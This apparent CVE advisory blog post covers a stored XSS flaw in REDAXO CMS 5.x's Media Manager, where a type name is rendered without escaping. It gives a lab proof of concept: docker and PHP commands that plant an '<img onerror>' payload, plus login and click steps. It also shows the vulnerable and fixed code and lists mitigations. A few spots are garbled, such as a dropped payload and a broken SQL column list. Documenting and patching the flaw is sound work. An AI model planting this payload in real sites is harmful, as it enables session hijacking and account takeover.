Listen to this Post
A stored XSS vulnerability exists in REDAXO CMS 5.x.
It is triggered when an administrator tries to delete a media file.
The media file must be referenced by a Media Manager effect.
The warning message in the backend includes the type’s name field.
The type name is inserted without HTML escaping.
An attacker with Media Manager addon access can store an XSS payload.
The payload is stored as a Media Manager type name.
Later, an administrator attempts to delete a linked media file.
The payload executes in that administrator’s browser.
This can lead to session hijacking.
It can also lead to full backend account takeover.
File: redaxo/src/addons/media_manager/lib/media_manager.php.
Function: mediaIsInUse().
It is registered on the MEDIA_IS_IN_USE extension point in boot.php.
rex_media_service::deleteMedia() calls rex_mediapool::mediaIsInUse($filename).
This fires the MEDIA_IS_IN_USE extension point.
The media_manager handler queries effects whose parameters JSON contains the filename.
It constructs an HTML anchor with the type name inserted verbatim.
Vulnerable code is around media_manager.php line 457.
It concatenates (string) $sql->getValue(‘name’) without rex_escape().
The returned $message is concatenated into the exception message.
deleteMedia() throws the exception.
rex_view::error() renders it as raw HTML.
The correct pattern in types.php line 91 uses rex_escape().
Input validation gap exists in types.php line 200.
The rule NOT_MATCH ‘{[/\]}’ blocks {, /, and .
It permits <, >, “, ‘, and &.
These characters are required to inject HTML.
A PoC uses a type name of .
The payload executes when Delete is clicked on xss_test.jpg.
DailyCVE Form:
Platform: REDAXO CMS
Version: 5.x
Vulnerability : Stored XSS
Severity: Medium
date: 2026-09-23
Prediction: 2026-10-15
What Undercode Say:
Analytics
docker exec -i 34--core-5x-redaxo-1 php -r "$p=new PDO('mysql:host=db;dbname=redaxo','redaxo','redaxo');$p->exec(\"INSERT IGNORE INTO rex_media(category_id,attributes,filetype,filename,originalname,filesize,width,height,,createdate,createuser,updatedate,updateuser) VALUES(0,'','image/jpeg','xss_test.jpg','xss_test.jpg',284,1,1,'XSS Test',NOW(),'admin',NOW(),'admin')\");$tid=$p->query(\"SELECT id FROM rex_media_manager_type WHERE name='<img src=x onerror=alert(document.domain)>'\")->fetchColumn();if(!$tid){$p->prepare(\"INSERT INTO rex_media_manager_type(status,name,description,createdate,createuser,updatedate,updateuser) VALUES(1,?,'poc',NOW(),'admin',NOW(),'admin')\")->execute(['<img src=x onerror=alert(document.domain)>']);$tid=$p->lastInsertId();}$p->prepare(\"INSERT IGNORE INTO rex_media_manager_type_effect(type_id,effect,parameters,priority,createdate,createuser,updatedate,updateuser) VALUES(?,'watermark',?,1,NOW(),'admin',NOW(),'admin')\")->execute([$tid,json_encode(['rex_effect_watermark'=>['watermark_image'=>'xss_test.jpg']])]);echo \"OK type_id=$tid\n\";"
docker exec 34--core-5x-redaxo-1 sh -c "printf '\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00\xff\xdb\x00C\x00\x08\x06\x06\x07\x06\x05\x08\x07\x07\x07\t\t\x08\n\x0c\x14\r\x0c\x0b\x0b\x0c\x19\x12\x13\x0f\x14\x1d\x1a\x1f\x1e\x1d\x1a\x1c\x1c $.\' \",\x1c\x1c(7),01444\x1f\x27=82<.342\x1e>\x1b\x1b123\x1e4\x1c\x1f\xff\xc0\x00\x0b\x08\x00\x01\x00\x01\x01\x01\x11\x00\xff\xc4\x00\x1f\x00\x00\x01\x05\x01\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\xff\xda\x00\x08\x01\x01\x00\x00?\x00\xf5\x00\xff\xd9' > /var/www/html/media/xss_test.jpg"
// media_manager.php ~line 457 ← VULNERABLE
$message = '<a href="javascript:openPage(\'' . rex_url::backendPage(...) . '\')">'
. rex_i18n::msg('media_manager') . ' '
. rex_i18n::msg('media_manager_effect_name') . ': '
. (string) $sql->getValue('name') // ← NO rex_escape() call
. '</a>';
// types.php line 91 ← CORRECT
$name = '<b>' . rex_escape($list->getValue('name')) . '</b>';
Exploit: (Educational Purposes!)
http://localhost/redaxo/index.php
Login with: admin / Admin12345!
http://localhost/redaxo/index.php?page=mediapool/media&file_id=1
Click Delete. REDAXO checks whether the file is in use. It finds the Watermark effect whose parameters JSON references xss_test.jpg. It renders the type name in the warning HTML without escaping. Result: <img src=x onerror=alert(document.domain)> executes. An alert dialog showing the current domain appears immediately.
Protection: from this CVE
// media_manager.php — apply rex_escape() to the name value
$message = '<a href="javascript:openPage(\'' . rex_url::backendPage(...) . '\')">'
. rex_i18n::msg('media_manager') . ' '
. rex_i18n::msg('media_manager_effect_name') . ': '
. rex_escape((string) $sql->getValue('name')) // ← ADD rex_escape()
. '</a>';
Apply rex_escape() to the type name before concatenating it into the HTML anchor. Validate type names with strict allow-lists. Encode all backend output. Restrict Media Manager addon access. Update REDAXO CMS when a patched release is available.
Impact:
Stored Cross-Site Scripting (Stored XSS).
Any backend administrator who attempts to delete a media file referenced by a Media Manager effect is impacted.
A malicious administrator or compromised admin account can pre-plant a payload in a type name.
All other administrators who later try to delete affected media files execute the payload in their browser sessions.
Session cookie theft via document.cookie exfiltration leads to full account takeover.
Credential harvesting by dynamically replacing the login form is possible.
CSRF-token extraction can perform authenticated actions on behalf of the victim.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
